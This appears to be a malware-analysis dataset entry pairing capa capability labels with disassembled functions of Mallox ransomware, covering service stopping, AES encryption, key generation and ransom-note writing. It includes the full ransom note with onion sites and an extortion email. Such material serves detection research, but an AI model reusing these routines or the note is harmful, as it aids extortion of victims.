joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007bb0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbx
push r12
sub rsp, 0x78
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x14007a8d8], 0
lea r12, [0x14007a910]
mov qword [r11 + 0x10], rbp
mov rbp, rcx
jne 0x140007cac
mov qword [r11 + 0x18], rsi
lea rcx, [0x1400775e0]
mov qword [r11 - 0x18], r14
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.140007670
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
mov qword [rsp + 0xa8], rdi
movsxd rsi, eax
lea r14, str.Hello_r_n_r_nYour_data_has_been_stolen_and_encrypted_r_nWe_will_delete_the_stolen_data_and_help_with_the_recovery_of_encrypted_files_after_payment_has_been_made_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nWe_provide_free_decryption_for_any_3_files_up_to_3MB_in_size_on_our_website_r_n_r_nHow_to_contact_with_us:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_chat__payment_information_and_we_can_make_free_test_decryption_here_r_n_r_nOur_blog_of_leaked_companies:_r_n_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_mallox.resurrection_onionmail.org_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rcx + r14]
mov r9d, ebx
add r9, r12
mov byte [r9], r8b
cmp r8b, 0x7b
jne 0x140007c78
lea eax, [rcx + 1]
cmp byte [rax + r14], 0x69
jne 0x140007c78
lea eax, [rcx + 2]
cmp byte [rax + r14], 0x64
jne 0x140007c78
lea edi, [rcx + 3]
cmp byte [rdi + r14], 0x7d
jne 0x140007c78
mov r8, rsi
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.1400520e0
dec ebx
mov ecx, edi
add ebx, esi
inc ebx
inc ecx
cmp ecx, 0x45d
jb 0x140007c30
mov r14, qword [rsp + 0x70]
lea rcx, [0x1400775e0]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov dword [0x14007a8d8], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rbp
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, qword [rsp + 0x98]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007d15
mov r8d, dword [0x14007a8d8]
lea r9, [rsp + 0x40]
mov rdx, r12
mov qword [rsp + 0x20], 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14002cd30
add rsp, 0x78
pop r12
pop rbx
ret
Function at 0x140015090
Capabilities:
Check for time delay via gettickcount
Modify service
Query service status
Stop service

Disassembly:
mov r11, rsp
push rbx
push rdi
sub rsp, 0xa8
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0x98], rax
cmp byte [rcx + 0x28], 0
mov rbx, rdx
mov rdi, rcx
jne 0x14001527b
mov qword [r11 + 0x18], rbp
xor ebp, ebp
mov dword [rsp + 0x68], ebp
mov qword [r11 - 0x18], rsi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp qword [rbx + 0x18], 7
mov esi, eax
jbe 0x1400150de
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x20]
mov r8d, 0x2e
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rsp + 0x60], rax
mov rbx, rax
test rax, rax
je 0x14001526b
mov qword [rsp + 0x50], rbp
mov edx, 0xffffffff
mov qword [rsp + 0x48], rbp
mov r9d, edx
mov qword [rsp + 0x40], rbp
mov r8d, 4
mov qword [rsp + 0x38], rbp
mov rcx, rax
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea rax, [rsp + 0x68]
mov r9d, 0x24
lea r8, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140015262
mov eax, dword [rsp + 0x74]
cmp eax, 1
je 0x140015262
cmp eax, 3
jne 0x1400151de
nop word [rax + rax]
mov ecx, dword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov r9d, 0x24
lea r8, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140015262
cmp dword [rsp + 0x74], 1
je 0x140015262
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, dword [rdi + 0x2c]
sub rcx, rsi
cmp rcx, rax
ja 0x140015262
cmp dword [rsp + 0x74], 3
je 0x140015180
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400152f0
mov rbx, qword [rsp + 0x60]
lea r8, [rsp + 0x70]
mov rcx, rbx
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140015262
cmp dword [rsp + 0x74], 1
je 0x140015262
nop
mov ecx, dword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov r9d, 0x24
lea r8, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140015262
cmp dword [rsp + 0x74], 1
je 0x140015262
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
mov eax, dword [rdi + 0x2c]
sub rdx, rsi
cmp rdx, rax
ja 0x140015262
cmp dword [rsp + 0x74], 1
jne 0x140015210
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbp, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14002cd30
add rsp, 0xa8
pop rdi
pop rbx
ret

Function at 0x1400152a0
Capabilities:
Modify service

Disassembly:
mov r11, rsp
sub rsp, 0x68
xor ecx, ecx
mov rax, rdx
mov qword [r11 - 0x18], rcx
mov edx, 0xffffffff
mov qword [r11 - 0x20], rcx
mov r9d, edx
mov qword [r11 - 0x28], rcx
mov qword [r11 - 0x30], rcx
lea r8d, [rcx + 4]
mov qword [r11 - 0x38], rcx
mov qword [r11 - 0x40], rcx
mov qword [r11 - 0x48], rcx
mov rcx, qword [rax]
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
add rsp, 0x68
ret
Function at 0x140015c80
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xor r10d, r10d
mov r11, rcx
test r9, r9
je 0x140015de4
cmp r9, 8
jb 0x140015dbd
lea rcx, [r9 - 1]
lea rax, [r8 - 1]
add rcx, r11
add rax, r9
cmp r11, rax
ja 0x140015cb9
cmp rcx, r8
jae 0x140015dbd
lea rax, [rdx - 1]
add rax, r9
cmp r11, rax
ja 0x140015cce
cmp rcx, rdx
jae 0x140015dbd
mov rcx, rdx
mov qword [rsp + 0x10], rbx
sub rcx, r8
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x140015d77
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rbx, r11
lea rax, [r8 + 0x10]
sub rbx, r8
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r10, 0x40
movdqu xmm1, xmmword [rcx + rax - 0x10]
movdqu xmm2, xmmword [rcx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rcx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rcx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r10, rsi
jb 0x140015d10
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x140015daf
mov rbx, r9
and rbx, 0xfffffffffffffff8
mov rdi, r11
lea rax, [r10 + r8]
sub rdi, r8
nop dword [rax + rax]
movq xmm1, qword [rcx + rax]
add r10, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r10, rbx
jb 0x140015d90
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r10, r9
jae 0x140015de4
sub rdx, r8
lea rax, [r10 + r8]
sub r11, r8
sub r9, r10
nop word [rax + rax]
movzx ecx, byte [rax + rdx]
xor cl, byte [rax]
mov byte [rax + r11], cl
lea rax, [rax + 1]
sub r9, 1
jne 0x140015dd0
add rsp, 8
ret
Function at 0x140015df0
Capabilities:
Encode data using xor

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov rdi, rcx
lea r9, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
movups xmmword [rsp + 0x38], xmm0
call fcn.140016f70
test eax, eax
jne 0x140015f8e
mov r8d, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
mov r9d, dword [rsp + 0x40]
bswap ecx
mov ecx, ecx
bswap r8d
bswap r9d
mov r8d, r8d
shl r8, 0x20
or r8, rcx
mov r9d, r9d
mov ecx, dword [rsp + 0x44]
shl r9, 0x20
bswap ecx
mov ecx, ecx
or r9, rcx
mov qword [rsp + 0x68], rbx
cmp dword [0x140078680], eax
mov qword [rdi + 0xa0], r9
mov qword [rdi + 0x120], r8
jne 0x140015ebc
mov eax, 1
mov dword [0x140078680], 1
xor ecx, ecx
cpuid
mov dword [0x140078688], eax
mov dword [0x14007868c], ebx
mov dword [0x140078690], ecx
mov dword [0x140078694], edx
mov dword [0x140078684], ecx
jmp 0x140015ec2
mov ecx, dword [0x140078684]
test cl, 2
jne 0x140015f87
mov qword [rdi + 0xe0], 0
mov qword [rdi + 0x60], 0
mov ebx, 4
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rdi + rbx*8 + 0x60], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rdi + rbx*8 + 0xe0], r8
shr ebx, 1
jne 0x140015ee3
mov r10d, 2
mov ebx, r10d
nop
mov r8, qword [rdi + rbx*8 + 0xe0]
mov r9, qword [rdi + rbx*8 + 0x60]
cmp rbx, 1
jle 0x140015f78
lea rax, [rdi + 0x68]
lea rdx, [rbx - 1]
nop dword [rax + rax]
mov rcx, r8
xor rcx, qword [rax + 0x80]
mov qword [rax + rbx*8 + 0x80], rcx
lea rax, [rax + 8]
mov rcx, r9
xor rcx, qword [rax - 8]
mov qword [rax + rbx*8 - 8], rcx
sub rdx, 1
jne 0x140015f50
lea eax, [r10 + r10]
add rbx, rbx
mov r10d, eax
cmp eax, 8
jle 0x140015f30
mov rbx, qword [rsp + 0x68]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14002cd30
add rsp, 0x50
pop rdi
ret
Function at 0x140017770
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm1, xmmword [rdx]
aeskeygenassist xmm0, xmm1, 1
pshufd xmm3, xmm0, 0xff
xorps xmm3, xmm1
movups xmmword [rcx], xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
pslldq xmm1, 4
xorps xmm3, xmm1
aeskeygenassist xmm0, xmm3, 2
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x10], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 4
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x20], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 8
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x30], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x10
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x40], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x20
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x50], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x40
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x60], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
movdqa xmm3, xmm2
xorps xmm0, xmm1
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x80
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x70], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm2, xmm3
xorps xmm2, xmm0
pslldq xmm3, 4
xorps xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x1b
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm2
movdqu xmmword [rcx + 0x80], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
xorps xmm0, xmm1
movdqa xmm3, xmm2
xorps xmm3, xmm0
pslldq xmm2, 4
xorps xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x36
pshufd xmm1, xmm0, 0xff
xorps xmm1, xmm3
movdqu xmmword [rcx + 0x90], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
xorps xmm0, xmm1
movdqa xmm1, xmm3
xorps xmm1, xmm0
pslldq xmm3, 4
xorps xmm1, xmm3
movdqu xmmword [rcx + 0xa0], xmm1
ret
Function at 0x14001e990
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movzx eax, r9b
mov rdi, r8
movzx r11d, al
mov rbx, rdx
and r11b, 0x1f
shr eax, 5
mov r10, rcx
and eax, 0x80000003
jge 0x14001e9ca
dec eax
or eax, 0xfffffffc
inc eax
movzx ecx, al
movzx ebp, r11b
mov r9d, dword [r8 + rcx*4]
mov ecx, 0x20
sub cl, r11b
movzx edx, cl
xor ecx, ecx
test r11b, r11b
bswap r9d
cmove edx, ecx
sub rbx, r10
movzx esi, dl
lea r11d, [rcx + 4]
nop word [rax + rax]
inc al
lea r10, [r10 + 4]
and al, 3
movzx ecx, al
mov r8d, dword [rdi + rcx*4]
mov ecx, esi
bswap r8d
mov edx, r8d
shr edx, cl
mov ecx, ebp
shl r9d, cl
or edx, r9d
mov r9d, r8d
bswap edx
xor edx, dword [rbx + r10 - 4]
mov dword [r10 - 4], edx
sub r11, 1
jne 0x14001ea00
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x1400215c0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, r9
mov rbp, r8
mov esi, edx
mov rdi, rcx
cmp edx, 1
jbe 0x1400215ef
mov eax, 0xffffffdf
jmp 0x140021715
mov ecx, 0x2000000
mov qword [rsp + 0x30], rbx
call fcn.1400173f0
test eax, eax
je 0x140021617
mov rcx, rdi
shr rcx, 2
and ecx, 3
je 0x140021617
mov eax, 4
sub eax, ecx
jmp 0x140021619
xor eax, eax
mov rcx, qword [rdi + 8]
mov ebx, eax
cmp rbx, rcx
je 0x140021647
mov eax, dword [rdi]
add rcx, 4
inc eax
shl eax, 4
movsxd r8, eax
lea rdx, [rdi + rcx*4]
lea rcx, [rdi + 0x10]
lea rcx, [rcx + rbx*4]
call fcn.1400520e0
mov qword [rdi + 8], rbx
cmp dword [0x140078680], 0
jne 0x140021683
mov eax, 1
mov dword [0x140078680], 1
xor ecx, ecx
cpuid
mov dword [0x140078688], eax
mov dword [0x14007868c], ebx
mov dword [0x140078690], ecx
mov dword [0x140078694], edx
mov dword [0x140078684], ecx
jmp 0x140021689
mov ecx, dword [0x140078684]
mov rbx, qword [rsp + 0x30]
bt ecx, 0x19
jae 0x1400216fb
mov rax, qword [rdi + 8]
movups xmm0, xmmword [rbp]
mov ecx, dword [rdi]
lea rax, [rdi + rax*4]
dec ecx
xorps xmm0, xmmword [rax + 0x10]
add rax, 0x20
test esi, esi
jne 0x1400216db
test ecx, ecx
je 0x1400216ce
nop dword [rax]
nop dword [rax + rax]
aesdec xmm0, xmmword [rax]
add rax, 0x10
add ecx, 0xffffffff
jne 0x1400216c0
aesdeclast xmm0, xmmword [rax]
movups xmmword [r14], xmm0
xor eax, eax
jmp 0x140021715
test ecx, ecx
je 0x1400216ee
nop
aesenc xmm0, xmmword [rax]
add rax, 0x10
add ecx, 0xffffffff
jne 0x1400216e0
aesenclast xmm0, xmmword [rax]
movups xmmword [r14], xmm0
xor eax, eax
jmp 0x140021715
mov r8, r14
mov rdx, rbp
mov rcx, rdi
cmp esi, 1
jne 0x140021710
call fcn.140020a10
jmp 0x140021715
call fcn.140020fe0
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140022960
Capabilities:
Get file size
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x40
mov rbp, rdx
mov rbx, rcx
mov byte [rcx + 8], 1
xor r14d, r14d
mov dword [rcx + 0x41c], r14d
mov byte [rcx + 8], 1
add rcx, 0xa
xor edx, edx
mov r8d, 0x410
call fcn.140051d20
lea rax, vtable.FileWrapper.0
mov qword [rbx], rax
lea rdi, [rbx + 0x420]
mov rdx, rbp
mov rcx, rdi
call fcn.140005c40
nop
mov qword [rbx + 0x440], 0xffffffffffffffff
mov dword [rbx + 0x448], 1
mov qword [rbx + 0x450], r14
mov qword [rbx + 0x458], r14
mov esi, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x10000080
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 0x440], rax
cmp rax, 0xffffffffffffffff
jne 0x140022ac7
call qword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 5
je 0x140022a52
sub eax, 0x1b
je 0x140022a32
cmp eax, 1
jne 0x140022a9b
mov dword [rbx + 0x448], 3
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140022a49
mov r8, qword [rdi]
lea rdx, str.In_use_another_process:__s
jmp 0x140022a86
mov edx, 0x80
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rbp
call fcn.140023c50
mov dword [rbx + 0x448], 2
mov r8, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140022a7f
mov r8, qword [rdi]
lea rdx, str.No_permission:__s
mov rcx, rbx
call fcn.140005e50
inc esi
cmp esi, 2
jl 0x1400229e3
jmp 0x140022ae3
lea r8, [rbx + 0x420]
cmp qword [r8 + 0x18], 7
jbe 0x140022aac
mov r8, qword [r8]
lea rdx, str.Cant_open:__s
mov rcx, rbx
call fcn.140005e50
mov dword [rbx + 0x448], 1
jmp 0x140022ae3
mov dword [rbx + 0x448], r14d
mov byte [rbx + 8], 1
lea rcx, [rbx + 0xa]
xor edx, edx
mov r8d, 0x410
call fcn.140051d20
cmp dword [rbx + 0x448], 0
jne 0x140022b01
lea rdx, [rbx + 0x450]
mov rcx, qword [rbx + 0x440]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
nop
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x1400239f0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rsi, [rcx + 0x340]
mov rbx, rcx
mov rcx, rsi
xor edx, edx
mov r8d, 0x158
call fcn.140051d20
xor edi, edi
lea rcx, [rbx + 0x20]
mov dword [rbx + 0x498], edi
xor edx, edx
mov r8d, 0x320
mov dword [rbx + 0x1c], edi
call fcn.140051d20
xor eax, eax
mov dword [rbx + 0x18], edi
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
movsxd rax, dword [rbx + 0x1c]
cmp eax, 0x14
jge 0x140023a90
lea rcx, [rax + rax*4]
lea rax, [0x1400256b0]
mov qword [rbx + rcx*8 + 0x28], rdi
mov qword [rbx + rcx*8 + 0x20], rax
mov qword [rbx + rcx*8 + 0x38], 0x20
mov dword [rbx + rcx*8 + 0x40], 1
inc dword [rbx + 0x1c]
xor edx, edx
mov r8d, 0x158
mov rcx, rsi
call fcn.140051d20
xor edx, edx
lea rcx, [rsi + 0x28]
mov r8d, 0x120
call fcn.140051d20
mov r9d, 2
mov dword [rsi + 0x10], 0xffffffff
mov dword [rsi + 0x20], 0x2710
lea rdx, [rsp + 0x40]
xor ecx, ecx
mov dword [rbx + 0x354], 1
lea r8d, [r9 + 0x62]
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov dword [rbx + 0x498], eax
test eax, eax
jns 0x140023af9
mov dword [rbx + 0x498], 1
jmp 0x140023b79
lea rax, [0x140024840]
mov qword [rsi + 0x150], rbx
xorps xmm0, xmm0
mov qword [rsi + 0x148], rax
mov rax, qword [rsi + 0x18]
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
test rax, rax
jne 0x140023b2d
mov eax, 0x30
mov qword [rsi + 0x18], rax
movsxd rcx, dword [rsi + 0x10]
test ecx, ecx
js 0x140023b3a
mov rdi, rcx
jmp 0x140023b47
cmp rax, 0x30
jae 0x140023b47
lea rdi, [rax + 1]
shr rdi, 1
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x20]
lea rcx, [rsi + 0x28]
call fcn.14001fd20
test eax, eax
jne 0x140023b73
mov r9, rdi
lea r8d, [rax + 0x64]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140025360
mov dword [rbx + 0x498], eax
mov rax, rbx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14002cd30
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400240d0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14007c930], eax
jle 0x14002424d
lea rcx, [0x14007c930]
call fcn.14002d10c
cmp dword [0x14007c930], 0xffffffff
jne 0x14002424d
mov ecx, 0x40
call fcn.14002cfec
mov rbx, rax
mov qword [rsp + 0x20], rax
lea rcx, [rax + 0x18]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
mov dword [rbx + 0xc], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x90]
cmp eax, 1
ja 0x14002416f
mov eax, 2
jmp 0x14002417d
cmp eax, 0xa
jbe 0x14002417b
mov eax, 0xa
jmp 0x14002417d
dec eax
mov dword [rbx + 8], eax
mov dword [rsp + 0x30], 0x40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x40]
mov edx, 0x40000000
test eax, eax
cmove rcx, rdx
mov qword [rbx], 0xa000000
xorps xmm1, xmm1
test rcx, rcx
js 0x1400241b9
cvtsi2sd xmm1, rcx
jmp 0x1400241ce
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, qword [str.ffffff]
mov eax, dword [rbx + 8]
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm1, xmm0
xor ecx, ecx
movsd xmm0, qword [0x14006af70]
comisd xmm1, xmm0
jb 0x14002420c
subsd xmm1, xmm0
comisd xmm1, xmm0
jae 0x14002420c
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm1
add rax, rcx
and rax, 0xffffffffff800000
cmp rax, 0x800000
jae 0x14002422b
mov qword [rbx], 0x1800000
jmp 0x14002423a
mov edx, 0xff800000
cmp rax, rdx
cmova rax, rdx
mov qword [rbx], rax
mov qword [0x14007c938], rbx
lea rcx, [0x14007c930]
call fcn.14002d0a0
mov rax, qword [0x14007c938]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14002cd30
add rsp, 0xb0
pop rbx
ret
Function at 0x1400254a0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push rbp
push rsi
push r15
sub rsp, 0x90
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rbp, r8
mov r15, rdx
mov rsi, rcx
cmp r8, 0x400
jbe 0x1400254d7
mov eax, 0xffffffca
jmp 0x140025688
mov eax, dword [rcx + 0x20]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
cmp dword [rcx + 0x10], eax
jg 0x1400254f7
cmp dword [rcx + 0x14], 0
je 0x14002550c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call fcn.140025360
test eax, eax
jne 0x140025688
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], r13
mov r13d, 0x10
mov qword [rsp + 0x70], r14
test rbp, rbp
je 0x140025636
mov r14d, 1
lea rbx, [rsi + 0x28]
sub r14, rsi
nop word [rax + rax]
lea rax, [rsi + 0xf]
add byte [rax], 1
jne 0x140025565
dec rax
lea rcx, [r14 + rax]
test rcx, rcx
jg 0x140025554
mov ecx, 0x2000000
call fcn.1400173f0
test eax, eax
je 0x140025588
mov rcx, rbx
shr rcx, 2
and ecx, 3
je 0x140025588
mov eax, 4
sub eax, ecx
jmp 0x14002558a
xor eax, eax
mov rcx, qword [rbx + 8]
mov edi, eax
cmp rdi, rcx
je 0x1400255b8
mov eax, dword [rbx]
add rcx, 4
